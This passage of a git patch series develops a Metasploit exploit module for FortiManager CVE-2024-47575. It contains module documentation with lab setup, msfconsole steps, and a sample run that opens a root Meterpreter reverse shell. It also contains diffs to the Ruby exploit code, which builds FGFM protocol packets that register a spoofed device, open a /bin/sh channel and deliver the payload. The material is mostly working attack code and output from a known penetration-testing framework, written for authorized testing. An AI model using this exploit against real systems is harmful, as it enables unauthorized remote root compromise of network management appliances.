`fmg.vhd`. +* In HyperV: + * Create a new virtual machine with 4096 MB RAM and 1 vCPU. + * Add 4 network adapters, the first must be connected to your external network (or similar) which can assigned an IP +via DHCP. The remaining 3 adapters can remain unconnected. + * In the IDE controller, add a new hard drive and select the `fmg.vhd` image. + * In the IDE controller, add a new hard drive and create an empty image (128GB). This is used by the device to store +data after setup. + * Boot the machine. +* The console will display the FortiManager boot sequence and drop you to a login prompt. The default username is `admin` +and the default password is empty. After you log in as admin the first time, you will be instructed to set a new admin +password. +* After logging in, you will be dropped to a CLI shell. Run the command `get system interface port1` in order to +discover the IP address of your new FortiManager device. +* At this point you can successfully exploit an unlicensed FortiManager device. Alternatively you can acquire a trial +license of FortiManager and complete the setup by visiting `https:///` in your browser. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/misc/fortimanager_rce_cve_2024_47575` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set LPORT 4444` +6. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +7. `check` +8. `exploit` + +## Options +The exploit provides a suitable client certificate/key pair by default, however we can let a user configure +a different certificate/key pair to use if they want. The user can also override the serial number and +platform if needed, but the exploit will try to detect the serial number and platform from the certificate +by default. + +### ClientCert +A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + +### ClientKey +A file path to the corresponding private key for the ClientCert. + +### ClientSerialNumber +If set, use this serial number instead of extracting one from the ClientCert. + +### ClientPlatform +If set, use this platform instead of determining the platform at runtime. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93 +RHOST => 192.168.86.93 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options + +Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ClientCert no A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + ClientKey no A file path to the corresponding private key for the ClientCert. + ClientPlatform no If set, use this platform instead of determining the platform at runtime. + ClientSerialNumber no If set, use this serial number instead of extracting one from the ClientCert. + RHOSTS 192.168.86.93 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 541 yes The target port (TCP) + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME GfogzcPTWbTb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check +[*] 192.168.86.93:541 - The service is running, but could not be validated. +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.93:541 - Client certificate common name: FMG-VM0000000000 +[*] 192.168.86.93:541 - Using client serial number 'FMG-VM0000000000' and platform 'FortiManager-VM64'. +[*] 192.168.86.93:541 - Connecting... +[*] 192.168.86.93:541 - Registering device... +[*] 192.168.86.93:541 - Creating channel... +[*] 192.168.86.93:541 - Triggering... +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.93:16620) at 2024-11-15 12:48:15 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.93 +OS : (Linux 5.15.109) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` From 4856817131ff195b973cba416a0ab9ac6cb65d16 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 18 Nov 2024 09:44:53 +0000 Subject: [PATCH 11/17] fix a typo --- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 8c0aa3b12e..8add4ee11b 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2024-47575'], # AttackerKB Rapid7 Analysis. ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], - # BishopFox details certificate requirements for connecting to the FGFM service. + # Bishop Fox details certificate requirements for connecting to the FGFM service. ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], # Vendor Advisory. ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] From 000ffb240606d7c57f71dbab82c74c7bf4f99247 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 12:37:50 +0000 Subject: [PATCH 12/17] make the check routine return a message for Detected. --- .../exploit/linux/misc/fortimanager_rce_cve_2024_47575.md | 2 +- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md index fdc578c3d3..7ec1f644ec 100644 --- a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md +++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md @@ -122,7 +122,7 @@ Exploit target: View the full module info with the info, or info -d command. msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check -[*] 192.168.86.93:541 - The service is running, but could not be validated. +[*] 192.168.86.93:541 - The service is running, but could not be validated. Detected Fortinet FortiManager msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 8add4ee11b..35fdb6a1b3 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial # number identifier. - return CheckCode::Detected if organization == 'Fortinet' && common_name&.start_with?('FMG') + return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG') CheckCode::Unknown end From 2ba112a5a42bb7f138c42d17c752086c165251f8 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 12:38:46 +0000 Subject: [PATCH 13/17] We can use OptPath here instead of OptString. Also are these are optional, and we dont specify a default, we can omit the nil default value. --- .../linux/misc/fortimanager_rce_cve_2024_47575.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 35fdb6a1b3..a5ec29067c 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -71,10 +71,10 @@ class MetasploitModule < Msf::Exploit::Remote # a different certificate/key pair to use if they want. The user can also override the serial number and # platform if needed, but the exploit will try to detect the serial number and platform from the certificate # by default. - OptString.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN', nil]), - OptString.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.', nil]), - OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.', nil]), - OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.', nil]) + OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']), + OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']), + OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']), + OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.']) ] ) end From f59bfe98a3471a85a6dcf5e7e2472b2d103c2856 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 12:39:34 +0000 Subject: [PATCH 14/17] remove the default payload and the default fetch command, and let the framework choose them for us. --- .../exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index a5ec29067c..8e1d456e8e 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -51,9 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'RPORT' => 541, 'SSL' => true, - 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', - 'FETCH_WRITABLE_DIR' => '/tmp', - 'FETCH_COMMAND' => 'CURL' + 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, From e5cdf6097da4ee538d52867b8a09ac8d7d6a019a Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 12:40:19 +0000 Subject: [PATCH 15/17] favor File.binread over File.read --- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 8e1d456e8e..b424fb18fe 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - client_cert_raw = datastore['ClientCert'] ? File.read(datastore['ClientCert']) : get_client_cert + client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) From 68e9b39ffa6e07910b5f93f985936d90ce80ab5e Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 12:42:08 +0000 Subject: [PATCH 16/17] register teh Rex socket we create via add_socket. This lets teh frameowkr close the socket after we get a session, and will wait up to WfsDelay for that to happen. This lets us remove the other timeout we had, and teh user can always adjust WfsDelay if needed. (Thanks Spencer) --- .../misc/fortimanager_rce_cve_2024_47575.rb | 41 ++++++++++--------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index b424fb18fe..61f55603e9 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -78,11 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote end def check - s = make_socket + fgfm_sock = make_socket - peer_cert = OpenSSL::X509::Certificate.new(s.peer_cert) + peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert) - s.close + fgfm_sock.close organization = get_cert_subject_item(peer_cert, 'O') @@ -131,15 +131,15 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Connecting...') - s = make_socket + fgfm_sock = make_socket - fail_with(Failure::UnexpectedReply, 'Connection failed.') unless s + fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock print_status('Registering device...') req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" - resp1 = send_packet(s, req1) + resp1 = send_packet(fgfm_sock, req1) unless resp1&.include?('reply 200') fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') @@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" - resp2 = send_packet(s, req2) + resp2 = send_packet(fgfm_sock, req2) unless resp2&.include?('action=ack') fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') @@ -164,13 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" - send_packet(s, req3, read: false) - - # A short delay, as we send our payload over the chanel, we want to keep this channel open long enough for the - # server-side to process it and execute the payload, before we tear down the socket. - Rex::ThreadSafe.sleep(1) - - s.close + send_packet(fgfm_sock, req3, read: false) end # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may @@ -199,19 +193,28 @@ class MetasploitModule < Msf::Exploit::Remote params.ssl_client_key = get_client_key unless datastore['ClientKey'] - Rex::Socket::Tcp.create_param(params) + fgfm_sock = Rex::Socket::Tcp.create_param(params) + + # Register our new socket, so that abort_sockets will close this socket after the payload handler + # has caught the session (or untill WfSDelay timesout). This avois us haviung to intriduce a seperate timeout + # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep + # the socket open until we have a session, as closing the socket too quickly can prevent the payload command + # we transmit over the FGFM channel on this socket from executing. + add_socket(fgfm_sock) + + fgfm_sock end - def send_packet(sock, data, read: true) + def send_packet(fgfm_sock, data, read: true) packet = [0x36E01100, data.length + 8].pack('NN') packet += data - sock.write(packet) + fgfm_sock.write(packet) return nil unless read - header = sock.read(8) + header = fgfm_sock.read(8) unless header print_error('Failed to read an FGFM header') @@ -230,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - sock.read(len - 8) + fgfm_sock.read(len - 8) end def get_cert_subject_item(cert, type) From 5a837d1ef677fb31f3fbeb4764ea6a7511fc03d2 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Mon, 2 Dec 2024 18:16:43 -0800 Subject: [PATCH 17/17] fix a typo --- modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index 61f55603e9..ca7e0cc777 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote fgfm_sock = Rex::Socket::Tcp.create_param(params) # Register our new socket, so that abort_sockets will close this socket after the payload handler - # has caught the session (or untill WfSDelay timesout). This avois us haviung to intriduce a seperate timeout + # has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep # the socket open until we have a session, as closing the socket too quickly can prevent the payload command # we transmit over the FGFM channel on this socket from executing.